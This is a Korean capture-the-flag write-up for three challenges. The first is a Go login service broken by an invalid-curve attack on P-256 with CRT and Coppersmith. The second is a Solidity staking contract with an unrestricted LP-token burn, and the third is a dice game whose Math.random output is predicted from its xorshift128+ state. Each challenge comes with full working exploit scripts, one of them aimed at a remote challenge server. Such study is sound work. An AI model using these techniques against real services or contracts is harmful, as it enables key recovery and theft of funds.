if subtle.ConstantTimeCompare(SERVER_SECRET_KEY, sec) != 1 {
fmt.Println("Unauthorized")
return
}
FLAG, _ := ioutil.ReadFile("./flag")
fmt.Println("Here is your flag : " + string(FLAG))
} else {
fmt.Println("Method Not Allowed")
return
}
}
func getRequest(r *bufio.Reader) (HTTPRequest, error) {
var err error
var input string
var request HTTPRequest
fmt.Print("> ")
input, err = r.ReadString('\n')
if err != nil {
return HTTPRequest{}, err
}
err = json.Unmarshal([]byte(input), &request)
if err != nil {
return HTTPRequest{}, err
}
return request, nil
}
func generateRandomString(length int) string {
const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
num, err := rand.Int(rand.Reader, big.NewInt(int64(len(charset))))
if err != nil {
panic(err)
}
b[i] = charset[num.Int64()]
}
return string(b)
}
func validateHash(hashValue *big.Int) bool {
shifted := new(big.Int).Rsh(hashValue, 24)
shifted.Lsh(shifted, 24)
return shifted.Cmp(hashValue) == 0
}
func PoW() {
randomString := generateRandomString(16)
fmt.Println("PoW > " + randomString)
var answer string
fmt.Scanln(&answer)
concatenated := randomString + answer
hash := sha256.Sum256([]byte(concatenated))
hashValue := new(big.Int).SetBytes(hash[:])
if !validateHash(hashValue) {
fmt.Println("Invalid PoW")
os.Exit(1)
}
}
func main() {
PoW()
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGALRM)
go func() {
time.Sleep(600 * time.Second)
fmt.Println("timeout")
os.Exit(1)
}()
SessionManager = make(map[string]User)
SERVER_SECRET_KEY = make([]byte, 33)
_, _ = rand.Read(SERVER_SECRET_KEY)
fmt.Println("webAPI for my \"Baby Login\" system")
reader := bufio.NewReader(os.Stdin)
for {
request, err := getRequest(reader)
if err != nil {
fmt.Println("Invalid input")
return
}
switch request.Path {
case "/", "/index.html":
indexHandler(request)
case "/register.html":
registerHandler(request)
case "/login.html":
loginHandler(request)
case "/logout.html":
logoutHandler(request)
case "/flag.html":
flagHandler(request)
default:
fmt.Println("Invalid path")
}
}
}
ID로 가입시, password는 Gx + Gy + enc(k1, "userID_userRole") + hmac(k2, out) 이다.
k1, k2는 G*SERVER_SECRET_KEY 의 x좌표를 16바이트씩 잘라낸 값이다.
로그인시, password로부터 얻은 G를 통해 k1, k2를 계산하고, 복호화한 값과 hmac을 통해 검증한다.
idea
취약점은 해당 코드에서 쓰이는 elliptic.P256().ScalarMult() 가 P256 위의 점이 아니어도,
a가 일치하는 다른 타원곡선 위의 점으로 취급하여 작동한다는데 있다.
다만 가끔 정상적인 값이 아닌 0이 리턴되는 경우도 있는데, 0이 아니면 계산에 오류가 없었음이 보증된다.
즉, 작은 소수 p에 대해 pG=0인 G를 통해, `GSERVER_SECRET_KEY= G*k` 인 0이 아닌 k들을 구하고, 이를 통해 CRT를 진행해야 한다.
다만 x좌표를 통해서만 k1, k2를 추측하기 때문에 k, -k 모두에 대해서 참이 되며,
나의 경우 N/p(x^2-k^2) 의 합의 해를 coppersmith attack을 통해 계산하였다.
exploit
from pwn import *
from base64 import b64decode, b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib
import json
import random
import time
from sage.rings.factorint import factor_trial_division
from tqdm import trange
import hmac
import pickle
def hmac_sha256(key, message):
hmac_generator = hmac.new(key, msg=message, digestmod=hashlib.sha256)
return hmac_generator.digest()
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
### prepare
"""
p_prod = 1
p_set = set()
datasets = []
datasets = [[9, 653], [10, 251], [12, 389], [14, 491], [15, 421], [15, 823], [16, 769], [18, 349], [19, 829], [21, 433], [25, 541], [25, 977], [32, 751], [33, 439], [36, 673], [42, 229], [46, 449], [61, 607], [74, 499], [75, 569], [82, 463], [87, 293], [103, 397], [109, 547], [110, 691], [114, 877], [117, 233], [117, 487], [119, 631], [130, 929], [132, 241], [137, 431], [141, 263], [148, 677], [157, 467], [157, 743], [158, 281], [162, 701], [163, 257], [163, 347], [166, 409], [169, 809], [180, 313], [186, 239], [192, 283]]
for d in datasets:
p_set.add(d[1])
print(len(p_set), len(datasets))
for i in trange(200, 600):
E2 = EllipticCurve(GF(p), [a, i])
card = E2.cardinality()
for fact, _ in factor_trial_division(card, 1000):
if (200 < fact < 1000) and (fact not in p_set):
p_set.add(fact)
p_prod *= fact
small_p = fact
datasets.append([i, small_p])
print([i, small_p])
print(p_prod.nbits(), n.nbits())
print(len(datasets))
print(datasets)
exit()
#"""
"""
datasets = [[9, 653], [10, 251], [12, 389], [14, 491], [15, 421], [15, 823], [16, 769], [18, 349], [19, 829], [21, 433], [25, 541], [25, 977], [32, 751], [33, 439], [36, 673], [42, 229], [46, 449], [61, 607], [74, 499], [75, 569], [82, 463], [87, 293], [103, 397], [109, 547], [110, 691], [114, 877], [117, 233], [117, 487], [119, 631], [130, 929], [132, 241], [137, 431], [141, 263], [148, 677], [157, 467], [157, 743], [158, 281], [162, 701], [163, 257], [163, 347], [166, 409], [169, 809], [180, 313], [186, 239], [192, 283], [209, 863], [209, 983], [215, 307], [218, 733], [235, 211], [240, 859], [241, 853], [247, 479], [261, 269], [261, 311], [275, 331], [279, 223], [291, 827], [293, 709], [319, 353], [327, 601], [330, 619], [334, 317], [335, 271], [346, 277], [353, 443], [360, 521], [374, 661], [375, 227], [429, 359], [438, 947], [457, 971], [473, 911], [474, 523], [486, 811], [498, 907], [506, 997], [508, 683], [534, 587], [560, 797], [563, 739], [570, 773], [580, 617], [592, 647], [598, 659]]
datasets = sorted(datasets, key = lambda x:x[1])
for idx, d in enumerate(datasets):
print(idx, len(datasets))
E2 = EllipticCurve(GF(p), [a, d[0]])
card = E2.cardinality()
small_p = d[1]
while True:
G2 = E2.random_point() * (E2.cardinality() // small_p)
if G2 != (G2 * small_p):
break
Gx = ZZ(G2[0])
Gy = ZZ(G2[1])
passwords = []
for i in trange(small_p // 2):
if i:
_m = int(ZZ((G2 * i)[0])).to_bytes(32, 'big')
else:
_m = b'\x00' * 32
k1, k2 = _m[:16], _m[16:]
pt = b'ADMIN_admin'
pt += b'\x00' * (16 - len(pt))
cipher = AES.new(k1, AES.MODE_ECB)
Gx_b = int(Gx).to_bytes(32, 'big')
Gy_b = int(Gy).to_bytes(32, 'big')
enc = cipher.encrypt(pt)
out = Gx_b + Gy_b + enc
out += hmac_sha256(k2, out)
passwords.append(out)
datasets[idx] = tuple(d) + tuple(passwords)
print(datasets[idx])
with open('datasets.pickle','wb') as f:
pickle.dump(datasets, f)
print("done")
exit()
"""
###
def pow_solver(x):
print(x)
for i in range(1 << 32):
hash_digest = hashlib.sha256((x + hex(i)).encode()).digest()
if hash_digest[-3:] == b'\x00' * 3:
print(hex(i))
return hex(i)
else:
print("failed")
exit(-1)
#r = process(["go", "run", "main.go"])
#secret = int(r.recvline()) % n
#"""
r = remote("43.202.3.171", "8081")
ans = pow_solver(r.recvline().decode()[6:-1])
r.sendline(ans.encode())
#"""
start_time = time.time()
def register(id):
data = {}
data["Path"] = "/register.html"
data["Method"] = "POST"
data["Uid"] = id
r.sendlineafter(b'> ', json.dumps(data).encode())
r.recvuntil(b'token : ')
token = b64decode(r.recvline()[:-1])
return token
def login(id, pw):
data = {}
data["Path"] = "/login.html"
data["Method"] = "POST"
data["Uid"] = id
data["Password"] = b64encode(pw).decode()
r.sendlineafter(b'> ', json.dumps(data).encode())
if r.recvline() != b'Unauthorized\n':
r.recvuntil(b'session : ')
session = r.recvline()[:-1].decode()
return session
else:
return None
def logout(session):
data = {}
data["Path"] = "/logout.html"
data["Method"] = "GET"
data["Session"] = session
r.sendlineafter(b'> ', json.dumps(data).encode())
print(r.recvline())
def index(session):
data = {}
data["Path"] = "/index.html"
data["Method"] = "GET"
data["Session"] = session
r.sendlineafter(b'> ', json.dumps(data).encode())
print(r.recvline())
def flag(session, secret):
data = {}
data["Path"] = "/flag.html"
data["Method"] = "POST"
data["Session"] = session
data["Secret"] = b64encode(secret).decode()
r.sendlineafter(b'> ', json.dumps(data).encode())
print(r.recvline())
p_prod = 1
crt_ans = []
with open('datasets.pickle','rb') as f:
datasets = pickle.load(f)
for d in datasets:
small_p = d[1]
passwords = d[2:]
assert len(passwords) == small_p // 2
if login('ADMIN', passwords[0]):
print(f"{small_p} failed")
continue
check = []
for i in trange(1, small_p // 2):
session = login('ADMIN', passwords[i])
if session:
break
else:
continue
#print(secret % small_p , i, (small_p - i))
crt_ans.append((i, small_p))
p_prod *= small_p
print(time.time() - start_time, p_prod.nbits(), n.nbits())
if p_prod.nbits()*(0.5 - 1/32) > n.nbits() :
break
pol = 0
P.<x> = PolynomialRing(Zmod(p_prod))
for target, small_p in crt_ans:
pol += (p_prod // small_p) * (x^2 - target^2)
pol *= pow(list(pol)[-1],-1,N)
roots = pol.small_roots(beta = 1, epsilon = 1/32)
root = min(roots)
#print(secret == root)
while root < 256^33:
flag(session, int(root).to_bytes(33, 'big'))
root += n
r.interactive()
r.close()
# codegate2024{d6e6c4caad3b5186cdef982b530f993b5fc77f6588a9a89a69a3c1d5ef0f91802178351c7c1aad97b94f5fd98b9b8927c77068}
검증에 사용될 password는 모두 미리 계산하여 timeout에 걸리지 않도록 하였다.
etc
blockchain - Staker
Setup.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {Token} from "./Token.sol";
import {LpToken} from "./LpToken.sol";
import {StakingManager} from "./StakingManager.sol";
contract Setup {
StakingManager public stakingManager;
Token public token;
constructor() payable {
token = new Token();
stakingManager = new StakingManager(address(token));
token.transfer(address(stakingManager), 86400 * 1e18);
token.approve(address(stakingManager), 100000 * 1e18);
stakingManager.stake(100000 * 1e18);
}
function withdraw() external {
token.transfer(msg.sender, token.balanceOf(address(this)));
}
function isSolved() public view returns (bool) {
return token.balanceOf(address(this)) >= 10 * 1e18;
}
}
StakingManager.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {LpToken} from "./LpToken.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract StakingManager {
uint256 constant REWARD_PER_SECOND = 1e18;
IERC20 public immutable TOKEN;
LpToken public immutable LPTOKEN;
uint256 lastUpdateTimestamp;
uint256 rewardPerToken;
struct UserInfo {
uint256 staked;
uint256 debt;
}
mapping(address => UserInfo) public userInfo;
constructor(address token) {
TOKEN = IERC20(token);
LPTOKEN = new LpToken();
}
function update() internal {
if (lastUpdateTimestamp == 0) {
lastUpdateTimestamp = block.timestamp;
return;
}
uint256 totalStaked = LPTOKEN.totalSupply();
if (totalStaked > 0 && lastUpdateTimestamp != block.timestamp) {
rewardPerToken = (block.timestamp - lastUpdateTimestamp) * REWARD_PER_SECOND * 1e18 / totalStaked;
lastUpdateTimestamp = block.timestamp;
}
}
function stake(uint256 amount) external {
update();
UserInfo storage user = userInfo[msg.sender];
user.staked += amount;
user.debt += (amount * rewardPerToken) / 1e18;
LPTOKEN.mint(msg.sender, amount);
TOKEN.transferFrom(msg.sender, address(this), amount);
}
function unstakeAll() external {
update();
UserInfo storage user = userInfo[msg.sender];
uint256 staked = user.staked;
uint256 reward = (staked * rewardPerToken / 1e18) - user.debt;
user.staked = 0;
user.debt = 0;
LPTOKEN.burnFrom(msg.sender, LPTOKEN.balanceOf(msg.sender));
TOKEN.transfer(msg.sender, staked + reward);
}
}
Token.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Token is ERC20 {
constructor() ERC20("Token", "TKN") {
_mint(msg.sender, 186401 * 1e18);
}
}
LpToken.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract LpToken is ERC20 {
address immutable minter;
constructor() ERC20("LP Token", "LP") {
minter = msg.sender;
}
function mint(address to, uint256 amount) external {
require(msg.sender == minter, "only minter");
_mint(to, amount);
}
function burnFrom(address from, uint256 amount) external {
_burn(from, amount);
}
}
Setup에서 186401TKN을 발행하여 StakingManager에 86400TKN은 주고 100000TKN은 stake한다.
withdraw를 하면 Setup에서 남은 TKN을 msg.sender에게 모두 넘겨준다.
StakingManager은 stake한 토큰만큼 msg.sender에게 LP을 발행하고,
매초 1TKN을 LPTOKEN의 비율에 따라 모든 staker에게 준다.
flag를 획득하기 위해서는 ,Setup이 10TKN이상을 소유해야 한다.
idea
매초 1TKN을 LP에 비례하여 staker에게 보상하는데, 문제는 LP를 burn하는데 권한이 필요하지 않다.
즉, withdraw하여 1TKN을 획득하고 stake한 뒤, Setup의 LP를 모두 burn하면 매초 1TKN을 받을 수 있다.
10초 기다려 10TKN을 채우고, 이를 Setup에게 넘겨주면 flag를 획득하게 된다.
exploit
from web3 import Web3
import json
import random
def get_receipt(transaction, private_key):
signed_txn = w3.eth.account.sign_transaction(transaction, private_key=private_key)
tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
return tx_receipt
def load_abi(filename):
with open(filename, "r") as abi_file:
contract_abi = json.load(abi_file)
return contract_abi
# RPC URL
rpc_url = f".."
# Connect to Ethereum node via RPC
w3 = Web3(Web3.HTTPProvider(rpc_url))
# Check if the connection is successful
if w3.is_connected():
print("Connected to Ethereum node")
else:
print("Failed to connect")
exit()
address = ".."
private_key = ".."
# Display account balance
balance = w3.eth.get_balance(address)
print(f"Balance: {w3.from_wei(balance, 'ether')} ETH")
setup_address = ".."
setup_abi = load_abi("bin/Setup.abi")
setup_contract = w3.eth.contract(address=setup_address, abi=setup_abi)
token_address = setup_contract.functions.token().call()
token_abi = load_abi("bin/Token.abi")
token_contract = w3.eth.contract(address=token_address, abi=token_abi)
stakingManager_address = setup_contract.functions.stakingManager().call()
stakingManager_abi = load_abi("bin/StakingManager.abi")
stakingManager_contract = w3.eth.contract(address=stakingManager_address, abi=stakingManager_abi)
lptoken_address = stakingManager_contract.functions.LPTOKEN().call()
lptoken_abi = load_abi("bin/LpToken.abi")
lptoken_contract = w3.eth.contract(address=lptoken_address, abi=lptoken_abi)
def show():
print("#" * 30)
print(stakingManager_contract.functions.userInfo(address).call())
print(stakingManager_contract.functions.userInfo(setup_address).call())
balance = token_contract.functions.balanceOf(address).call()
print(f"MY Balance: {w3.from_wei(balance, 'ether')} TKN")
balance = token_contract.functions.balanceOf(setup_address).call()
print(f"SETUP Balance: {w3.from_wei(balance, 'ether')} TKN")
balance = lptoken_contract.functions.balanceOf(address).call()
print(f"MY Balance: {w3.from_wei(balance, 'ether')} LP")
balance = lptoken_contract.functions.balanceOf(setup_address).call()
print(f"SETUP Balance: {w3.from_wei(balance, 'ether')} LP")
balance = lptoken_contract.functions.totalSupply().call()
print(f"TOTAL Balance: {w3.from_wei(balance, 'ether')} LP")
print("#" * 30)
#
transaction = setup_contract.functions.withdraw().build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
# 1. approve
transaction = token_contract.functions.approve(stakingManager_address, (100) * 10 ** 18).build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
show()
# 2. stake
transaction = stakingManager_contract.functions.stake(1).build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
show()
# 3. burn all
transaction = lptoken_contract.functions.burnFrom(setup_address, lptoken_contract.functions.balanceOf(setup_address).call()).build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
show()
# 4. unstake
import time
time.sleep(10)
transaction = stakingManager_contract.functions.unstakeAll().build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
show()
# 5. transfer
transaction = token_contract.functions.transfer(setup_address, (10) * 10 ** 18).build_transaction(
{
#"chainId": w3.eth.chain_id,
#"gasPrice": w3.eth.gas_price,
"from": address,
"nonce": w3.eth.get_transaction_count(address),
}
)
get_receipt(transaction, private_key)
show()
print(setup_contract.functions.isSolved().call())misc - DICE OR DIE
onchain/src/DD.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
import {USD} from "./USD.sol";
contract DD {
error ERC20InsufficientBalance(
address account,
uint256 balance,
uint256 value
);
error InvalidCommitment(uint256 commitment);
error TooRich(address account);
error InvalidSize(uint256 size);
error OnlyOwner(address account);
event Win(uint256 indexed amount);
event Lose();
USD private _usd;
address private _owner;
mapping(uint256 index => address owner) private _owners;
mapping(uint256 index => uint256 value) private _values;
mapping(uint256 index => uint256 size) private _sizes;
mapping(uint256 index => bytes32 commitment) private _commitments;
mapping(bytes32 id => bool) private _flag;
constructor(address usd) {
_usd = USD(usd);
_owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != _owner) revert OnlyOwner(msg.sender);
_;
}
function commit(uint256 index, bytes32 commitment) external onlyOwner {
_commitments[index] = commitment;
}
function bet(uint256 index, uint256 value, uint256 size) external {
if (size == 0) {
revert InvalidSize(size);
}
if (_commitments[index] == 0) {
revert InvalidCommitment(index);
}
_usd.burn(msg.sender, size);
_sizes[index] = size;
_values[index] = value;
_owners[index] = msg.sender;
}
function open(uint256 index, uint256 commitment) external {
if (
keccak256(abi.encode(commitment)) != _commitments[index] ||
_commitments[index] == 0
) {
revert InvalidCommitment(index);
}
if (_owners[index] != msg.sender) {
revert OnlyOwner(msg.sender);
}
uint256 size = _sizes[index];
uint256 value = _values[index];
uint256 input = commitment % 6;
_commitments[index] = 0;
if (input == value) {
_usd.mint(msg.sender, size * 3);
emit Win(size * 3);
} else {
emit Lose();
}
if (_usd.balanceOf(msg.sender) > 1e10) {
revert TooRich(msg.sender);
}
}
function isSettled(uint256 index) external view returns (bool) {
return _commitments[index] != 0;
}
// function play(uint256 value, uint256 size) external {
// _usd.burn(msg.sender, size);
// uint256 rand = uint256(
// keccak256(
// abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
// )
// ) % 6;
// if (rand == value && flag == false) {
// _usd.mint(msg.sender, size * 3);
// }
// }
function buyFlag(bytes32 id) external {
_usd.burn(msg.sender, 1e8);
_flag[id] = true;
}
function checkSolve(bytes32 id) external view returns (bool) {
return _flag[id];
}
}
src/app/admin/route.js
import { ddAddress } from '@/constants'
import { readFileSync } from 'fs'
import { headers } from 'next/headers'
import { NextResponse } from 'next/server'
import {
createWalletClient,
getContract,
http,
keccak256,
publicActions,
toBytes,
} from 'viem'
import { privateKeyToAccount } from 'viem/accounts'
import { klaytnBaobab } from 'viem/chains'
const loadMetadata = (name) =>
JSON.parse(readFileSync(`onchain/out/${name}.sol/${name}.json`, 'utf8'))
const getRandom = () =>
BigInt(Math.random().toString().slice(2)) *
BigInt(Math.random().toString().slice(2))
export async function GET() {
const header = headers()
if (header.get('host') === '127.0.0.1:3000') {
const dd = loadMetadata('DD')
const account = privateKeyToAccount(process.env.privKey)
const client = createWalletClient({
account,
chain: klaytnBaobab,
transport: http(),
}).extend(publicActions)
const ddContract = getContract({
address: ddAddress,
abi: dd.abi,
client,
})
const value = getRandom()
const index = getRandom().toString()
const commitment = keccak256(toBytes(value, { size: 32 }))
const hash = await ddContract.write.commit([index, commitment])
process.env[index] = value.toString()
return NextResponse.json({
index,
commitment,
hash,
value: value.toString(),
})
}
return NextResponse.json({ error: 'access denied' })
}
src/app/dice/main.js
'use client'
import { reveal } from '@/app/actions'
import { ddAbi, ddAddress, usdAbi, usdAddress } from '@/constants'
import {
Box,
Button,
Divider,
Flex,
HStack,
Image,
Input,
List,
ListItem,
Text,
VStack,
} from '@chakra-ui/react'
import Link from 'next/link'
import { useEffect, useRef, useState } from 'react'
import { useAccount, useReadContract, useWriteContract } from 'wagmi'
export default function Page({ index }) {
let balance = 0
const [history, setHistory] = useState([])
const [id, setId] = useState('unknown')
const betAmount = useRef()
const [number, setNumber] = useState(0)
const { address, isConnected } = useAccount()
const { writeContractAsync } = useWriteContract()
const rollDice = () => {
const dice = document.querySelector('.die-list')
toggleClasses(dice)
dice.dataset.roll = getRandomNumber(1, 6)
setNumber(dice.dataset.roll)
}
const toggleClasses = (die) => {
die.classList.toggle('odd-roll')
die.classList.toggle('even-roll')
}
const getRandomNumber = (min, max) => {
min = Math.ceil(min)
max = Math.floor(max)
return Math.floor(Math.random() * (max - min + 1)) + min
}
const max = (bal) => {
betAmount.current.value = bal
}
const mint = async () => {
try {
const hash = await writeContractAsync({
abi: usdAbi,
address: usdAddress,
functionName: 'publicMint',
})
window.toast({
title: 'Minting in progress',
description: (
<Link
target='_blank'
href={`https://baobab.klaytnscope.com/tx/${hash}`}
>
{hash}
</Link>
),
status: 'info',
duration: 5000,
isClosable: true,
})
} catch (e) {
window.toast({
title: 'Minting error',
description: 'You are too fast. minting allowed once a day!',
status: 'error',
duration: 5000,
isClosable: true,
})
}
}
const open = async (k, i) => {
const commitment = await reveal.bind(null, i)()
const hash = await writeContractAsync({
abi: ddAbi,
address: ddAddress,
functionName: 'open',
args: [i, commitment],
})
const newHistory = { ...history }
delete newHistory[k]
setHistory(newHistory)
localStorage.setItem('history', JSON.stringify(newHistory))
window.toast({
title: 'Betting Open in progress',
description: (
<Link
target='_blank'
href={`https://baobab.klaytnscope.com/tx/${hash}`}
>
{hash}
</Link>
),
status: 'info',
duration: 5000,
isClosable: true,
})
}
const bet = async () => {
const amount = parseInt(betAmount.current.value)
if (amount > 0) {
const hash = await writeContractAsync({
abi: ddAbi,
address: ddAddress,
functionName: 'bet',
args: [index, number - 1, amount],
})
const newHistory = { ...history }
newHistory[hash] = index
localStorage.setItem('history', JSON.stringify(newHistory))
setHistory(newHistory)
}
}
const usdBalance = useReadContract({
abi: usdAbi,
address: usdAddress,
functionName: 'balanceOf',
args: [address],
})
if (typeof usdBalance?.data == 'bigint') balance = usdBalance.data.toString()
useEffect(() => {
if (window.id) setId(window.id)
setHistory(JSON.parse(localStorage.getItem('history') ?? '{}'))
}, [])
return isConnected ? (
<VStack mt='8rem'>
<VStack>
<Text>Your ID : {id}</Text>
<HStack>
<Text>Current Balance : {balance}</Text>
<Image src='/usd.png' alt='usd' w='1.5rem' />
</HStack>
<Button onClick={mint}>mint</Button>
</VStack>
<Divider />
<Box className='dice' mt='2rem'>
<List className='die-list even-roll' data-roll='1' id='die-1'>
{[...Array(6)].map((_, i) => (
<ListItem className='die-item' data-side={i + 1} key={i}>
{[...Array(i + 1)].map((_, j) => (
<Flex className='dot' key={j} />
))}
</ListItem>
))}
</List>
</Box>
<Button onClick={rollDice}>Roll Dice</Button>
<VStack mt='3rem'>
<Flex>Your number is : {number}</Flex>
<HStack>
<Input type='number' placeholder='Bet amount' ref={betAmount} />
<Button onClick={() => max(balance)}>Max</Button>
</HStack>
<Button isDisabled={number == 0} onClick={bet}>
Bet!
</Button>
</VStack>
<Divider />
<VStack mt='2rem'>
<Text>Your betting history</Text>
<VStack>
{Object.keys(history).map((k, i) => (
<HStack key={i}>
<Link
target='_blank'
href={`https://baobab.klaytnscope.com/tx/${k}`}
>
{k}
</Link>
<Button onClick={() => open(k, history[k])}>Open</Button>
</HStack>
))}
</VStack>
</VStack>
</VStack>
) : (
<Flex justify='center'>connect first!</Flex>
)
}
src/app/dice/page.js
import { use } from 'react'
import Main from './main'
export default function Page() {
const { index } = use(
fetch('http://127.0.0.1:3000/admin', {
method: 'GET',
cache: 'no-store',
}).then((res) => res.json())
)
return <Main index={index} />
}
client가 dice 페이지에 접속하면 서버 내부에서 http://127.0.0.1:3000/admin 에 접속하여 commit 계약이 이루어진다.
const getRandom = () =>
BigInt(Math.random().toString().slice(2)) *
BigInt(Math.random().toString().slice(2))
export async function GET() {
const header = headers()
if (header.get('host') === '127.0.0.1:3000') {
const dd = loadMetadata('DD')
const account = privateKeyToAccount(process.env.privKey)
const client = createWalletClient({
account,
chain: klaytnBaobab,
transport: http(),
}).extend(publicActions)
const ddContract = getContract({
address: ddAddress,
abi: dd.abi,
client,
})
const value = getRandom()
const index = getRandom().toString()
const commitment = keccak256(toBytes(value, { size: 32 }))
const hash = await ddContract.write.commit([index, commitment])
process.env[index] = value.toString()
return NextResponse.json({
index,
commitment,
hash,
value: value.toString(),
})
}
return NextResponse.json({ error: 'access denied' })
}
getRandom() 함수를 통해 index, value가 계산되며,
클라이언트는 베팅(bet) 및 결과확인(open)이 가능하다.
우리에게 주어진 토큰과, 주사위 숫자에 따라 해당 index에 베팅 가능하고,
open은 index당 정해진 주사위 숫자 하나에만 가능하다.
이때, 주사위 숫자 -1이 value를 6으로 나눈 나머지와 일치하면 베팅금액의 3배를 획득한다.
idea
해당 계약은 baobab testnet 위에 있으며, 우리는 index와 value의 해쉬값은 확인할 수 있지만
value 그 자체는 확인할 수 없다.
하지만, index를 계산하는데 쓰인 Math.random()의 값을 유추할 수 있다.
우리는 이들이 실제 Math.random()의 조건을 따르는지 검증하여 Math.random()을 예측할 수 있다.
exploit
#!/usr/bin/python3
import struct
import sys
N=100
class Solver:
def __init__(self):
self.equations = []
self.outputs = []
def insert(self, equation, output):
for eq, o in zip(self.equations, self.outputs):
lsb = eq & -eq
if equation & lsb:
equation ^^= eq
output ^^= o
if equation == 0:
assert output==0
return
lsb = equation & -equation
for i in range(len(self.equations)):
if self.equations[i] & lsb:
self.equations[i] ^^= equation
self.outputs[i] ^^= output
self.equations.append(equation)
self.outputs.append(output)
def is_solvable(self):
return len(self.equations) == 128
def solve(self):
if not self.is_solvable():
assert False, "Not solvable"
num = 0
for i, eq in enumerate(self.equations):
assert eq == (eq & -eq), "Should be reduced now"
if self.outputs[i]:
num |= eq
return num
def solve_with_targets(targets):
se_state0=[1<<i for i in range(64)]
se_state1=[1<<(i+64) for i in range(64)]
solver = Solver()
targets = [int(float(t) * 2**52) for t in targets]
try:
for j in range(len(targets)):
se_s1 = se_state0[:]
se_s0 = se_state1[:]
se_state0 = se_s0[:]
#se_s1 ^^= se_s1 << 23
for i in range(64-23):
se_s1[63-i] ^^= se_s1[63-i-23]
#se_s1 ^^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift
for i in range(64-17):
se_s1[i] ^^= se_s1[i+17]
#se_s1 ^^= se_s0
for i in range(64):
se_s1[i] ^^= se_s0[i]
#se_s1 ^^= z3.LShR(se_s0, 26)
for i in range(64-26):
se_s1[i] ^^= se_s0[i+26]
se_state1 = se_s1[:]
target=targets[j]
if target < 0:
continue
for i in range(52):
solver.insert(se_state0[12 + i],int((target >> i) & 1))
solved=solver.solve()
states = {}
states["se_state0"] = solved&0xFFFFFFFFFFFFFFFF
states["se_state1"] = solved>>64
return states
except:
return None
"""
a = 75802983205316688796395552781398
b = 114429500396470652495161414002552
da = divisors(a)
dda = []
for i in range(len(da)):
x, y = da[i], da[-1 - i]
assert x * y == a
if x < 10^17 and y < 10^17:
for x_l in range(18 - len(str(x))):
for y_l in range(18 - len(str(y))):
xx = float("0." + "0" * x_l + str(x))
yy = float("0." + "0" * y_l + str(y))
dda.append((xx, yy))
if xx == (float(0.7049781694071042)):
print(dda[-1])
db = divisors(b)
ddb = []
for i in range(len(db)):
x, y = db[i], db[-1 - i]
assert x * y == b
if x < 10^17 and y < 10^17:
for x_l in range(18 - len(str(x))):
for y_l in range(18 - len(str(y))):
xx = float("0." + "0" * x_l + str(x))
yy = float("0." + "0" * y_l + str(y))
ddb.append((xx, yy))
print(len(dda), len(ddb))
from tqdm import tqdm
for t_a in tqdm(dda):
for t_b in ddb:
targets = list(t_a) + [-1, -1] + list(t_b)
states = solve_with_targets(targets)
if states:
break
else:
continue
break
else:
print("failed")
exit(-1)
print("shit!!", states)
exit()
"""
states = {'se_state0': 11306039759072879827, 'se_state1': 15677384870866232290}
def next():
MASK = 0xFFFFFFFFFFFFFFFF
s1 = states["se_state0"] & MASK
s0 = states["se_state1"] & MASK
s1 ^^= (s1 << 23) & MASK
s1 ^^= (s1 >> 17) & MASK
s1 ^^= s0 & MASK
s1 ^^= (s0 >> 26) & MASK
states["se_state0"] = states["se_state1"] & MASK
states["se_state1"] = s1 & MASK
def back():
MASK = 0xFFFFFFFFFFFFFFFF
def reverse17(val):
return val ^^ (val >> 17) ^^ (val >> 34) ^^ (val >> 51)
def reverse23(val):
return (val ^^ (val << 23) ^^ (val << 46)) & MASK
s1 = states["se_state0"] & MASK
s0 = (states["se_state1"] ^^ (s1>>26) )& MASK
s0 = s0 ^^ s1
s0 = reverse17(s0)
s0 = reverse23(s0)
states["se_state0"] = s0 & MASK
states["se_state1"] = s1 & MASK
def out():
state0 = states["se_state0"]
u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
float_64 = struct.pack("<Q", u_long_long_64)
next_sequence = struct.unpack("d", float_64)[0]
return next_sequence-1
def getrandom():
next()
a = str(out()).split('.')[-1]
next()
b = str(out()).split('.')[-1]
return int(a) * int(b)
def commit():
index = getrandom()
value = getrandom() % 6
return index, value
for _ in range(64):
back()
target_index = 135182080182366803921198814399207
while True:
index, value = commit()
if index == target_index:
break
print(hex(target_index)[2:])
print("answer is", value + 1)
